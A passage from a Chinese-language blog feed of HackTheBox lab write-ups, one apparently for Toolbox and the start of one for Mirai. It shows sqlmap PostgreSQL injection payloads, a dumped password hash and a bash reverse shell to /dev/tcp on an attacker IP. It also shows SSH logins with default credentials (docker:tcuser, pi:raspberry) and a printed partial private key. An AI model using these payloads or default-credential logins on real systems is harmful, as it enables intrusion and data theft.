header-value">https://admin.megalogistic.com/</span></span><span class="token header"><span class="token header-name keyword">Accept-Encoding</span><span class="token punctuation">:</span> <span class="token header-value">gzip, deflate, br</span></span><span class="token header"><span class="token header-name keyword">Priority</span><span class="token punctuation">:</span> <span class="token header-value">u=0, i</span></span><span class="token header"><span class="token header-name keyword">Connection</span><span class="token punctuation">:</span> <span class="token header-value">keep-alive</span></span>username=admin&amp;password=11111111111</code></pre><pre class="language-bash" data-language="bash"><code class="language-bash">$ sqlmap <span class="token parameter variable">-r</span> megalogisic.txt <span class="token parameter variable">--batch</span> --force-ssl        ___       __H__ ___ ___<span class="token punctuation">[</span>,<span class="token punctuation">]</span>_____ ___ ___  <span class="token punctuation">&#123;</span><span class="token number">1.9</span>.2<span class="token comment">#stable&#125;</span><span class="token operator">|</span>_ -<span class="token operator">|</span> <span class="token builtin class-name">.</span> <span class="token punctuation">[</span>.<span class="token punctuation">]</span>     <span class="token operator">|</span> <span class="token builtin class-name">.</span><span class="token string">'| . ||___|_  ['</span><span class="token punctuation">]</span>_<span class="token operator">|</span>_<span class="token operator">|</span>_<span class="token operator">|</span>__,<span class="token operator">|</span>  _<span class="token operator">|</span>      <span class="token operator">|</span>_<span class="token operator">|</span>V<span class="token punctuation">..</span>.       <span class="token operator">|</span>_<span class="token operator">|</span>   https://sqlmap.org<span class="token punctuation">[</span><span class="token operator">!</span><span class="token punctuation">]</span> legal disclaimer: Usage of sqlmap <span class="token keyword">for</span> attacking targets without prior mutual consent is illegal. It is the end user<span class="token string">'s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 23:56:30 /2025-03-21/[23:56:30] [INFO] parsing HTTP request from '</span>megalogisic.txt<span class="token string">'[23:56:30] [INFO] testing connection to the target URL&lt;...>[23:57:59] [INFO] target URL appears to be UNION injectable with 2 columnsinjection not exploitable with NULL values. Do you want to try with a random integer value for option '</span>--union-char<span class="token string">'? [Y/n] YPOST parameter '</span>username<span class="token string">' is vulnerable. Do you want to keep testing the others (if any)? [y/N] Nsqlmap identified the following injection point(s) with a total of 95 HTTP(s) requests:---Parameter: username (POST)    Type: boolean-based blind    Title: PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)    Payload: username=admin'</span> AND <span class="token punctuation">(</span>SELECT <span class="token punctuation">(</span>CASE WHEN <span class="token punctuation">(</span><span class="token number">1444</span><span class="token operator">=</span><span class="token number">1444</span><span class="token punctuation">)</span> THEN NULL ELSE CAST<span class="token variable"><span class="token punctuation">((</span>CHR<span class="token punctuation">(</span><span class="token number">86</span><span class="token punctuation">)</span><span class="token operator">||</span>CHR<span class="token punctuation">(</span><span class="token number">88</span><span class="token punctuation">)</span><span class="token operator">||</span>CHR<span class="token punctuation">(</span><span class="token number">110</span><span class="token punctuation">)</span><span class="token operator">||</span>CHR<span class="token punctuation">(</span><span class="token number">75</span><span class="token punctuation">))</span></span> AS NUMERIC<span class="token punctuation">)</span> END<span class="token punctuation">))</span> IS NULL AND <span class="token string">'iHTD'</span><span class="token operator">=</span><span class="token string">'iHTD&amp;password=11111111111    Type: error-based    Title: PostgreSQL AND error-based - WHERE or HAVING clause    Payload: username=admin'</span> AND <span class="token assign-left variable">9042</span><span class="token operator">=</span>CAST<span class="token variable"><span class="token punctuation">((</span>CHR<span class="token punctuation">(</span><span class="token number">113</span><span class="token punctuation">)</span><span class="token operator">||</span>CHR<span class="token punctuation">(</span><span class="token number">113</span><span class="token punctuation">)</span><span class="token operator">||</span>CHR<span class="token punctuation">(</span><span class="token number">122</span><span class="token punctuation">)</span><span class="token operator">||</span>CHR<span class="token punctuation">(</span><span class="token number">106</span><span class="token punctuation">)</span><span class="token operator">||</span>CHR<span class="token punctuation">(</span><span class="token number">113</span><span class="token punctuation">))</span></span><span class="token operator">||</span><span class="token punctuation">(</span>SELECT <span class="token punctuation">(</span>CASE WHEN <span class="token punctuation">(</span><span class="token number">9042</span><span class="token operator">=</span><span class="token number">9042</span><span class="token punctuation">)</span> THEN <span class="token number">1</span> ELSE <span class="token number">0</span> END<span class="token punctuation">))</span>::text<span class="token operator">||</span><span class="token punctuation">(</span>CHR<span class="token punctuation">(</span><span class="token number">113</span><span class="token punctuation">)</span><span class="token operator">||</span>CHR<span class="token punctuation">(</span><span class="token number">112</span><span class="token punctuation">)</span><span class="token operator">||</span>CHR<span class="token punctuation">(</span><span class="token number">113</span><span class="token punctuation">)</span><span class="token operator">||</span>CHR<span class="token punctuation">(</span><span class="token number">107</span><span class="token punctuation">)</span><span class="token operator">||</span>CHR<span class="token punctuation">(</span><span class="token number">113</span><span class="token punctuation">))</span> AS NUMERIC<span class="token punctuation">)</span> AND <span class="token string">'wDZN'</span><span class="token operator">=</span><span class="token string">'wDZN&amp;password=11111111111    Type: stacked queries    Title: PostgreSQL > 8.1 stacked queries (comment)    Payload: username=admin'</span><span class="token punctuation">;</span>SELECT PG_SLEEP<span class="token punctuation">(</span><span class="token number">5</span><span class="token punctuation">)</span>--<span class="token operator">&amp;</span><span class="token assign-left variable">password</span><span class="token operator">=</span><span class="token number">11111111111</span>    Type: time-based blind    Title: PostgreSQL <span class="token operator">></span> <span class="token number">8.1</span> AND time-based blind    Payload: <span class="token assign-left variable">username</span><span class="token operator">=</span>admin<span class="token string">' AND 2617=(SELECT 2617 FROM PG_SLEEP(5)) AND '</span>AtXQ<span class="token string">'='</span>AtXQ<span class="token operator">&amp;</span><span class="token assign-left variable">password</span><span class="token operator">=</span><span class="token number">11111111111</span>---<span class="token punctuation">[</span><span class="token number">23</span>:58:12<span class="token punctuation">]</span> <span class="token punctuation">[</span>INFO<span class="token punctuation">]</span> the back-end DBMS is PostgreSQLweb server operating system: Linux Debian <span class="token number">10</span> <span class="token punctuation">(</span>buster<span class="token punctuation">)</span>web application technology: PHP <span class="token number">7.3</span>.14, Apache <span class="token number">2.4</span>.38back-end DBMS: PostgreSQL<span class="token punctuation">[</span><span class="token number">23</span>:58:17<span class="token punctuation">]</span> <span class="token punctuation">[</span>INFO<span class="token punctuation">]</span> fetched data logged to text files under <span class="token string">'/home/kali/.local/share/sqlmap/output/admin.megalogistic.com'</span><span class="token punctuation">[</span>*<span class="token punctuation">]</span> ending @ <span class="token number">23</span>:58:17 /2025-03-21/</code></pre><p>找到admin用户</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ sqlmap <span class="token parameter variable">-r</span> megalogisic.txt <span class="token parameter variable">--batch</span> --force-ssl <span class="token parameter variable">--dbms</span> PostgreSQL <span class="token parameter variable">--dump</span>        ___       __H__ ___ ___<span class="token punctuation">[</span>,<span class="token punctuation">]</span>_____ ___ ___  <span class="token punctuation">&#123;</span><span class="token number">1.9</span>.2<span class="token comment">#stable&#125;</span><span class="token operator">|</span>_ -<span class="token operator">|</span> <span class="token builtin class-name">.</span> <span class="token punctuation">[</span><span class="token punctuation">(</span><span class="token punctuation">]</span>     <span class="token operator">|</span> <span class="token builtin class-name">.</span><span class="token string">'| . ||___|_  [,]_|_|_|__,|  _|      |_|V...       |_|   https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user'</span>s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible <span class="token keyword">for</span> any misuse or damage caused by this program<span class="token punctuation">[</span>*<span class="token punctuation">]</span> starting @ <span class="token number">23</span>:59:23 /2025-03-21/<span class="token punctuation">[</span><span class="token number">23</span>:59:23<span class="token punctuation">]</span> <span class="token punctuation">[</span>INFO<span class="token punctuation">]</span> parsing HTTP request from <span class="token string">'megalogisic.txt'</span><span class="token operator">&lt;</span><span class="token punctuation">..</span>.<span class="token operator">></span><span class="token punctuation">[</span><span class="token number">23</span>:59:41<span class="token punctuation">]</span> <span class="token punctuation">[</span>WARNING<span class="token punctuation">]</span> no <span class="token function">clear</span> password<span class="token punctuation">(</span>s<span class="token punctuation">)</span> found                                                  Database: publicTable: <span class="token function">users</span><span class="token punctuation">[</span><span class="token number">1</span> entry<span class="token punctuation">]</span>+----------------------------------+----------+<span class="token operator">|</span> password                         <span class="token operator">|</span> username <span class="token operator">|</span>+----------------------------------+----------+<span class="token operator">|</span> 4a100a85cb5ca3616dcf137918550815 <span class="token operator">|</span> admin    <span class="token operator">|</span>+----------------------------------+----------+<span class="token punctuation">[</span><span class="token number">23</span>:59:41<span class="token punctuation">]</span> <span class="token punctuation">[</span>INFO<span class="token punctuation">]</span> table <span class="token string">'public.users'</span> dumped to CSV <span class="token function">file</span> <span class="token string">'/home/kali/.local/share/sqlmap/output/admin.megalogistic.com/dump/public/users.csv'</span><span class="token punctuation">[</span><span class="token number">23</span>:59:41<span class="token punctuation">]</span> <span class="token punctuation">[</span>INFO<span class="token punctuation">]</span> fetched data logged to text files under <span class="token string">'/home/kali/.local/share/sqlmap/output/admin.megalogistic.com'</span><span class="token punctuation">[</span>*<span class="token punctuation">]</span> ending @ <span class="token number">23</span>:59:41 /2025-03-21/</code></pre><p>使用 –os-shell 直接反弹shell <code>bash -c &#39; bash -i &amp;&gt;/dev/tcp/10.10.16.39/9003 &lt;&amp;1&#39;</code></p><pre class="language-bash" data-language="bash"><code class="language-bash">$ sqlmap <span class="token parameter variable">-r</span> megalogisic.txt  --force-ssl <span class="token parameter variable">--dbms</span> PostgreSQL --os-shell         ___       __H__ ___ ___<span class="token punctuation">[</span><span class="token punctuation">(</span><span class="token punctuation">]</span>_____ ___ ___  <span class="token punctuation">&#123;</span><span class="token number">1.9</span>.2<span class="token comment">#stable&#125;</span><span class="token operator">|</span>_ -<span class="token operator">|</span> <span class="token builtin class-name">.</span> <span class="token punctuation">[</span><span class="token string">']     | .'</span><span class="token operator">|</span> <span class="token builtin class-name">.</span> <span class="token operator">|</span><span class="token operator">|</span>___<span class="token operator">|</span>_  <span class="token punctuation">[</span>"<span class="token punctuation">]</span>_<span class="token operator">|</span>_<span class="token operator">|</span>_<span class="token operator">|</span>__,<span class="token operator">|</span>  _<span class="token operator">|</span>      <span class="token operator">|</span>_<span class="token operator">|</span>V<span class="token punctuation">..</span>.       <span class="token operator">|</span>_<span class="token operator">|</span>   https://sqlmap.org<span class="token punctuation">[</span><span class="token operator">!</span><span class="token punctuation">]</span> legal disclaimer: Usage of sqlmap <span class="token keyword">for</span> attacking targets without prior mutual consent is illegal. It is the end user<span class="token string">'s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 00:00:38 /2025-03-22/[00:00:38] [INFO] parsing HTTP request from '</span>megalogisic.txt<span class="token string">'&lt;...>os-shell> whoamido you want to retrieve the command standard output? [Y/n/a] Y[00:01:47] [INFO] retrieved: '</span>postgres<span class="token string">'command standard output: '</span>postgres<span class="token string">'os-shell> iddo you want to retrieve the command standard output? [Y/n/a] Y[00:02:01] [INFO] retrieved: '</span>uid<span class="token operator">=</span><span class="token number">102</span><span class="token punctuation">(</span>postgres<span class="token punctuation">)</span> <span class="token assign-left variable">gid</span><span class="token operator">=</span><span class="token number">104</span><span class="token punctuation">(</span>postgres<span class="token punctuation">)</span> <span class="token assign-left variable">groups</span><span class="token operator">=</span><span class="token number">104</span><span class="token punctuation">(</span>postgres<span class="token punctuation">)</span>,102<span class="token punctuation">(</span>ssl-<span class="token punctuation">..</span>.<span class="token builtin class-name">command</span> standard output: <span class="token string">'uid=102(postgres) gid=104(postgres) groups=104(postgres),102(ssl-cert)'</span>os-shell<span class="token operator">></span> <span class="token function">bash</span> <span class="token parameter variable">-c</span> <span class="token string">' bash -i &amp;>/dev/tcp/10.10.16.39/9003 &lt;&amp;1'</span><span class="token keyword">do</span> you want to retrieve the <span class="token builtin class-name">command</span> standard output? <span class="token punctuation">[</span>Y/n/a<span class="token punctuation">]</span> n</code></pre><h3 id="信息收集"><a href="#信息收集" class="headerlink" title="信息收集"></a>信息收集</h3><p>成功接收到shell，查看内核信息，系统是boot2docker</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ <span class="token function">nc</span> <span class="token parameter variable">-lnvp</span> <span class="token number">9003</span>listening on <span class="token punctuation">[</span>any<span class="token punctuation">]</span> <span class="token number">9003</span> <span class="token punctuation">..</span>.connect to <span class="token punctuation">[</span><span class="token number">10.10</span>.16.39<span class="token punctuation">]</span> from <span class="token punctuation">(</span>UNKNOWN<span class="token punctuation">)</span> <span class="token punctuation">[</span><span class="token number">10.10</span>.10.236<span class="token punctuation">]</span> <span class="token number">49945</span>bash: cannot <span class="token builtin class-name">set</span> terminal process group <span class="token punctuation">(</span><span class="token number">524</span><span class="token punctuation">)</span>: Inappropriate ioctl <span class="token keyword">for</span> devicebash: no job control <span class="token keyword">in</span> this shellpostgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ <span class="token function">id</span><span class="token function">id</span><span class="token assign-left variable">uid</span><span class="token operator">=</span><span class="token number">102</span><span class="token punctuation">(</span>postgres<span class="token punctuation">)</span> <span class="token assign-left variable">gid</span><span class="token operator">=</span><span class="token number">104</span><span class="token punctuation">(</span>postgres<span class="token punctuation">)</span> <span class="token assign-left variable">groups</span><span class="token operator">=</span><span class="token number">104</span><span class="token punctuation">(</span>postgres<span class="token punctuation">)</span>,102<span class="token punctuation">(</span>ssl-cert<span class="token punctuation">)</span>postgres@bc56e3cc55e9:/var/lib/postgresql$ <span class="token function">ifconfig</span> <span class="token function">ifconfig</span> eth0: <span class="token assign-left variable">flags</span><span class="token operator">=</span><span class="token number">416</span><span class="token operator"><span class="token file-descriptor important">3</span>&lt;</span>UP,BROADCAST,RUNNING,MULTICAST<span class="token operator">></span>  mtu <span class="token number">1500</span>        inet <span class="token number">172.17</span>.0.2  netmask <span class="token number">255.255</span>.0.0  broadcast <span class="token number">172.17</span>.255.255        ether 02:42:ac:11:00:02  txqueuelen <span class="token number">0</span>  <span class="token punctuation">(</span>Ethernet<span class="token punctuation">)</span>        RX packets <span class="token number">3446</span>  bytes <span class="token number">686371</span> <span class="token punctuation">(</span><span class="token number">670.2</span> KiB<span class="token punctuation">)</span>        RX errors <span class="token number">0</span>  dropped <span class="token number">0</span>  overruns <span class="token number">0</span>  frame <span class="token number">0</span>        TX packets <span class="token number">3502</span>  bytes <span class="token number">1260682</span> <span class="token punctuation">(</span><span class="token number">1.2</span> MiB<span class="token punctuation">)</span>        TX errors <span class="token number">0</span>  dropped <span class="token number">0</span> overruns <span class="token number">0</span>  carrier <span class="token number">0</span>  collisions <span class="token number">0</span><span class="token operator">&lt;</span><span class="token punctuation">..</span>.<span class="token operator">></span>postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ <span class="token function">uname</span> <span class="token parameter variable">-a</span><span class="token function">uname</span> <span class="token parameter variable">-a</span>Linux bc56e3cc55e9 <span class="token number">4.14</span>.154-boot2docker <span class="token comment">#1 SMP Thu Nov 14 19:19:08 UTC 2019 x86_64 GNU/Linux</span></code></pre><p>通过Google  boot2docker 有默认用户和密码docker：tcuser，使用ssh 切换用户</p><pre class="language-bash" data-language="bash"><code class="language-bash">postgres@bc56e3cc55e9:/$ script /dev/null <span class="token parameter variable">-c</span> /bin/bashscript /dev/null <span class="token parameter variable">-c</span> /bin/bashScript started, <span class="token function">file</span> is /dev/nullpostgres@bc56e3cc55e9:/$ <span class="token function">ssh</span> docker@172.17.0.1<span class="token function">ssh</span> docker@172.17.0.1docker@172.17.0.1<span class="token string">'s password: tcuser   ( '</span><span class="token operator">></span>'<span class="token punctuation">)</span>  /<span class="token punctuation">)</span> TC <span class="token punctuation">(</span><span class="token punctuation">\</span>   Core is distributed with ABSOLUTELY NO WARRANTY. <span class="token punctuation">(</span>/-_--_-<span class="token punctuation">\</span><span class="token punctuation">)</span>           www.tinycorelinux.net</code></pre><h3 id="权限提升"><a href="#权限提升" class="headerlink" title="权限提升"></a>权限提升</h3><p>查找可以利用的信息，可以在C:\Users\Administrator.ssh\ 下找到 id_rsa</p><pre class="language-bash" data-language="bash"><code class="language-bash">docker@box:~$ <span class="token builtin class-name">cd</span> /c/Users                                                      <span class="token builtin class-name">cd</span> /c/Usersdocker@box:/c/Users$ <span class="token function">ls</span>                                                        <span class="token function">ls</span>Administrator  Default        Public         desktop.iniAll Users      Default User   Tonydocker@box:/c/Users$ <span class="token builtin class-name">cd</span> Administrator                                          <span class="token builtin class-name">cd</span> Administratordocker@box:/c/Users/Administrator$ <span class="token function">ls</span> <span class="token parameter variable">-la</span>                                      <span class="token function">ls</span> <span class="token parameter variable">-la</span>total <span class="token number">1437</span>drwxrwxrwx    <span class="token number">1</span> <span class="token function">docker</span>   staff         <span class="token number">8192</span> Feb  <span class="token number">8</span>  <span class="token number">2021</span> <span class="token builtin class-name">.</span>dr-xr-xr-x    <span class="token number">1</span> <span class="token function">docker</span>   staff         <span class="token number">4096</span> Feb <span class="token number">19</span>  <span class="token number">2020</span> <span class="token punctuation">..</span>drwxrwxrwx    <span class="token number">1</span> <span class="token function">docker</span>   staff         <span class="token number">4096</span> Mar <span class="token number">21</span> <span class="token number">15</span>:15 .VirtualBoxdrwxrwxrwx    <span class="token number">1</span> <span class="token function">docker</span>   staff            <span class="token number">0</span> Feb <span class="token number">18</span>  <span class="token number">2020</span> .dockerdrwxrwxrwx    <span class="token number">1</span> <span class="token function">docker</span>   staff            <span class="token number">0</span> Feb <span class="token number">19</span>  <span class="token number">2020</span> .sshdr-xr-xr-x    <span class="token number">1</span> <span class="token function">docker</span>   staff            <span class="token number">0</span> Feb <span class="token number">18</span>  <span class="token number">2020</span> 3D Objectsdrwxrwxrwx    <span class="token number">1</span> <span class="token function">docker</span>   staff            <span class="token number">0</span> Feb <span class="token number">18</span>  <span class="token number">2020</span> AppData<span class="token operator">&lt;</span><span class="token punctuation">..</span>.<span class="token operator">></span></code></pre><p>复制id_rsa 到本地，赋予600 权限，ssh登录可获得管理员权限</p><pre class="language-bash" data-language="bash"><code class="language-bash">docker@box:/c/Users/Administrator/.ssh$ <span class="token function">cat</span> id_rsa                             <span class="token function">cat</span> id_rsa -----BEGIN RSA PRIVATE KEY-----MIIEowIBAAKCAQEAvo4SLlg/dkStA4jDUNxgF8kbNAF+6IYLNOOCeppfjz6RSOQvMd08abGynhKMzsiiVCeJoj9L8GfSXGZIfsAIWXn9nyNaDdApoF7Mfm1KItgO+W9mM7lArs4zgBzMGQleIskQvWTcKrQNdCDj9JxNIbhYLhJXgro+u5dW6EcYzq2MSORm7A+eXfmPvdr4hE0wNUIwx2oOPr2duBfmxuhL8mZQWu5U1+Ipe2Nv4fAUYhKGTWHj4ocjUwG9XcU0iI4pcHT3nXPKmGjoPyiPzpa5WdiJ8QpME398Nne4mnxOboWTp3jG<span class="token operator">&lt;</span><span class="token punctuation">..</span>.<span class="token operator">></span>bsf9AoGBAIWYKT0wMlOWForD39SEN3hqP3hkGeAmbIdZXFnUzRioKb4KZ42sVy5Bq3CKhoCDk8N+97jYJhPXdIWqtJPoOfPj6BtjxQEBoacW923tOblPeYkI9biVUyIpBYxKDs3rNUsW1UUHAvBh0OYs+v/X+Z/2KVLLeClznDJWh/PNqF5I-----END RSA PRIVATE KEY-----</code></pre><pre class="language-bash" data-language="bash"><code class="language-bash">$ <span class="token function">ssh</span> <span class="token parameter variable">-i</span> id_rsa administrator@10.10.10.236  The authenticity of <span class="token function">host</span> <span class="token string">'10.10.10.236 (10.10.10.236)'</span> can<span class="token string">'t be established.ED25519 key fingerprint is SHA256:KJAib23keV2B8xvFaxg7e79uztryW+LYX+Wb2qA9u4k.This key is not known by any other names.Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added '</span><span class="token number">10.10</span>.10.236' <span class="token punctuation">(</span>ED25519<span class="token punctuation">)</span> to the list of known hosts.Microsoft Windows <span class="token punctuation">[</span>Version <span class="token number">10.0</span>.17763.1039<span class="token punctuation">]</span><span class="token punctuation">(</span>c<span class="token punctuation">)</span> <span class="token number">2018</span> Microsoft Corporation. All rights reserved.administrator@TOOLBOX C:<span class="token punctuation">\</span>Users<span class="token punctuation">\</span>Administrator<span class="token operator">></span></code></pre><table><thead><tr><th align="left">Flag</th><th align="left">Path</th></tr></thead><tbody><tr><td align="left">Flag1</td><td align="left">&#x2F;var&#x2F;lib&#x2F;postgresql&#x2F;user.txt</td></tr><tr><td align="left">Flag2</td><td align="left">C:\Users\Administrator\Desktop\flag.txt</td></tr></tbody></table>]]></content>
    
    
    <summary type="html">&lt;style&gt;.cqdgcwqinmrf{zoom:50%;}&lt;/style&gt;&lt;img src=&quot;/posts/96a67a56/9d218e64149bfb00a002d94868f2e4b1.png&quot; class=&quot;cqdgcwqinmrf&quot;&gt;</summary>
    
    
    
    <category term="Hackthebox" scheme="https://ry0ma24.github.io/categories/Hackthebox/"/>
    
    
    <category term="SQL注入" scheme="https://ry0ma24.github.io/tags/SQL%E6%B3%A8%E5%85%A5/"/>
    
  </entry>
  
  <entry>
    <title>HTB-Mirai</title>
    <link href="https://ry0ma24.github.io/posts/c3392160.html"/>
    <id>https://ry0ma24.github.io/posts/c3392160.html</id>
    <published>2025-03-02T03:57:33.000Z</published>
    <updated>2025-04-25T08:44:00.917Z</updated>
    
    <content type="html"><![CDATA[<style>.qodjngigllvt{zoom:50%;}</style><img src="/posts/c3392160/4ef1ea77e69185063d4200d7d0142baa.png" class="qodjngigllvt"><span id="more"></span><table><thead><tr><th>OS</th><th>Difficulty</th></tr></thead><tbody><tr><td>Linux</td><td>Easy</td></tr></tbody></table><h3 id="Nmap-Scan"><a href="#Nmap-Scan" class="headerlink" title="Nmap Scan"></a>Nmap Scan</h3><pre class="language-bash" data-language="bash"><code class="language-bash">$ nmap <span class="token number">10.10</span>.10.48 <span class="token parameter variable">-sV</span>  <span class="token parameter variable">-sC</span> -p- <span class="token parameter variable">-T4</span> --min-rate <span class="token number">1000</span> <span class="token parameter variable">-e</span> tun0 Starting Nmap <span class="token number">7.95</span> <span class="token punctuation">(</span> https://nmap.org <span class="token punctuation">)</span> at <span class="token number">2025</span>-03-02 <span class="token number">11</span>:57 CSTNmap scan report <span class="token keyword">for</span> <span class="token number">10.10</span>.10.48Host is up <span class="token punctuation">(</span><span class="token number">0</span>.13s latency<span class="token punctuation">)</span>.Not shown: <span class="token number">65343</span> closed tcp ports <span class="token punctuation">(</span>reset<span class="token punctuation">)</span>, <span class="token number">186</span> filtered tcp ports <span class="token punctuation">(</span>no-response<span class="token punctuation">)</span>PORT      STATE SERVICE VERSION<span class="token number">22</span>/tcp    <span class="token function">open</span>  <span class="token function">ssh</span>     OpenSSH <span class="token number">6</span>.7p1 Debian <span class="token number">5</span>+deb8u3 <span class="token punctuation">(</span>protocol <span class="token number">2.0</span><span class="token punctuation">)</span><span class="token operator">|</span> ssh-hostkey: <span class="token operator">|</span>   <span class="token number">1024</span> aa:ef:5c:e0:8e:86:97:82:47:ff:4a:e5:40:18:90:c5 <span class="token punctuation">(</span>DSA<span class="token punctuation">)</span><span class="token operator">|</span>   <span class="token number">2048</span> e8:c1:9d:c5:43:ab:fe:61:23:3b:d7:e4:af:9b:74:18 <span class="token punctuation">(</span>RSA<span class="token punctuation">)</span><span class="token operator">|</span>   <span class="token number">256</span> b6:a0:78:38:d0:c8:10:94:8b:44:b2:ea:a0:17:42:2b <span class="token punctuation">(</span>ECDSA<span class="token punctuation">)</span><span class="token operator">|</span>_  <span class="token number">256</span> 4d:68:40:f7:20:c4:e5:52:80:7a:44:38:b8:a2:a7:52 <span class="token punctuation">(</span>ED25519<span class="token punctuation">)</span><span class="token number">53</span>/tcp    <span class="token function">open</span>  domain  dnsmasq <span class="token number">2.76</span><span class="token operator">|</span> dns-nsid: <span class="token operator">|</span>_  bind.version: dnsmasq-2.76<span class="token number">80</span>/tcp    <span class="token function">open</span>  http    lighttpd <span class="token number">1.4</span>.35<span class="token operator">|</span>_http-title: Site doesn't have a title <span class="token punctuation">(</span>text/html<span class="token punctuation">;</span> <span class="token assign-left variable">charset</span><span class="token operator">=</span>UTF-8<span class="token punctuation">)</span>.<span class="token operator">|</span>_http-server-header: lighttpd/1.4.35<span class="token number">1686</span>/tcp  <span class="token function">open</span>  upnp    Platinum UPnP <span class="token number">1.0</span>.5.13 <span class="token punctuation">(</span>UPnP/1.0 DLNADOC/1.50<span class="token punctuation">)</span><span class="token number">32400</span>/tcp <span class="token function">open</span>  http    Plex Media Server httpd<span class="token operator">|</span>_http-title: Unauthorized<span class="token operator">|</span>_http-cors: HEAD GET POST PUT DELETE OPTIONS<span class="token operator">|</span> http-auth: <span class="token operator">|</span> HTTP/1.1 <span class="token number">401</span> Unauthorized<span class="token punctuation">\</span>x0D<span class="token operator">|</span>_  Server returned status <span class="token number">401</span> but no WWW-Authenticate header.<span class="token operator">|</span>_http-favicon: Plex<span class="token number">32469</span>/tcp <span class="token function">open</span>  upnp    Platinum UPnP <span class="token number">1.0</span>.5.13 <span class="token punctuation">(</span>UPnP/1.0 DLNADOC/1.50<span class="token punctuation">)</span>Service Info: OS: Linux<span class="token punctuation">;</span> CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ <span class="token builtin class-name">.</span>Nmap done: <span class="token number">1</span> IP address <span class="token punctuation">(</span><span class="token number">1</span> <span class="token function">host</span> up<span class="token punctuation">)</span> scanned <span class="token keyword">in</span> <span class="token number">122.17</span> seconds</code></pre><p>添加本地域名解析到hosts</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ <span class="token builtin class-name">echo</span> <span class="token string">'10.10.10.48 mirai.htb'</span> <span class="token operator">|</span> <span class="token function">sudo</span> <span class="token function">tee</span> <span class="token parameter variable">-a</span> /etc/hosts</code></pre><p>访问目标 <a href="http://mirai.htb/">http://mirai.htb</a> ,右键查看源码，找到一个路径</p><img src="/posts/c3392160/image-20250302122107403.png" class="" title="源码">访问/admin 可以看到是树苺派<img src="/posts/c3392160/image-20250302122612935.png" class="" title="面板"><h3 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h3><p>使用树苺派默认凭证 pi:raspberry 登录SSH</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ <span class="token function">ssh</span> pi@mirai.htb              The authenticity of <span class="token function">host</span> <span class="token string">'mirai.htb (10.10.10.48)'</span> can<span class="token string">'t be established.ED25519 key fingerprint is SHA256:TL7joF/Kz3rDLVFgQ1qkyXTnVQBTYrV44Y2oXyjOa60.This key is not known by any other names.Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added '</span>mirai.htb<span class="token string">' (ED25519) to the list of known hosts.pi@mirai.htb'</span>s password: The programs included with the Debian GNU/Linux system are <span class="token function">free</span> software<span class="token punctuation">;</span>the exact distribution terms <span class="token keyword">for</span> each program are described <span class="token keyword">in</span> theindividual files <span class="token keyword">in</span> /usr/share/doc/*/copyright.Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extentpermitted by applicable law.Last login: Sun Aug <span class="token number">27</span> <span class="token number">14</span>:47:50 <span class="token number">2017</span> from localhostSSH is enabled and the default password <span class="token keyword">for</span> the <span class="token string">'pi'</span> user has not been changed.This is a security risk - please login as the <span class="token string">'pi'</span> user and <span class="token builtin class-name">type</span> <span class="token string">'passwd'</span> to <span class="token builtin class-name">set</span> a new password.SSH is enabled and the default password <span class="token keyword">for</span> the <span class="token string">'pi'</span> user has not been changed.This is a security risk - please login as the <span class="token string">'pi'</span> user and <span class="token builtin class-name">type</span> <span class="token string">'passwd'</span> to <span class="token builtin class-name">set</span> a new password.pi@raspberrypi:~ $ <span class="token function">id</span><span class="token assign-left variable">uid</span><span class="token operator">=</span><span class="token number">1000</span><span class="token punctuation">(</span>pi<span class="token punctuation">)</span> <span class="token assign-left variable">gid</span><span class="token operator">=</span><span class="token number">1000</span><span class="token punctuation">(</span>pi<span class="token punctuation">)</span> <span class="token assign-left variable">groups</span><span class="token operator">=</span><span class="token number">1000</span><span class="token punctuation">(</span>pi<span class="token punctuation">)</span>,4<span class="token punctuation">(</span>adm<span class="token punctuation">)</span>,20<span class="token punctuation">(</span>dialout<span class="token punctuation">)</span>,24<span class="token punctuation">(</span>cdrom<span class="token punctuation">)</span>,27<span class="token punctuation">(</span>sudo<span class="token punctuation">)</span>,29<span class="token punctuation">(</span>audio<span class="token punctuation">)</span>,44<span class="token punctuation">(</span>video<span class="token punctuation">)</span>,46<span class="token punctuation">(</span>plugdev<span class="token punctuation">)</span>,60<span class="token punctuation">(</span>games<span class="token punctuation">)</span>,100<span class="token punctuation">(</span>users<span class="token punctuation">)</span>,101<span class="token punctuation">(</span>input<span class="token punctuation">)</span>,108<span class="token punctuation">(</span>netdev<span class="token punctuation">)</span>,117<span class="token punctuation">(</span>i2c<span class="token punctuation">)</span>,998<span class="token punctuation">(</span>gpio<span class="token punctuation">)</span>,999<span class="token punctuation">(</span>spi<span class="token punctuation">)</span></code></pre><h3 id="权限提升"><a href="#权限提升" class="headerlink" title="权限提升"></a>权限提升</h3><p>运行sudo -l 可以看到能直接切换root用户，查看root.txt 提示备份在USB stick</p><pre class="language-bash" data-language="bash"><code class="language-bash">pi@raspberrypi:~ $ <span class="token function">sudo</span> <span class="token parameter variable">-l</span>Matching Defaults entries <span class="token keyword">for</span> pi on localhost:    env_reset, mail_badpass,    <span class="token assign-left variable">secure_path</span><span class="token operator">=</span>/usr/local/sbin<span class="token punctuation">\</span>:/usr/local/bin<span class="token punctuation">\</span>:/usr/sbin<span class="token punctuation">\</span>:/usr/bin<span class="token punctuation">\</span>:/sbin<span class="token punctuation">\</span>:/binUser pi may run the following commands on localhost:    <span class="token punctuation">(</span>ALL <span class="token builtin class-name">:</span> ALL<span class="token punctuation">)</span> ALL    <span class="token punctuation">(</span>ALL<span class="token punctuation">)</span> NOPASSWD: ALLpi@raspberrypi:~ $ 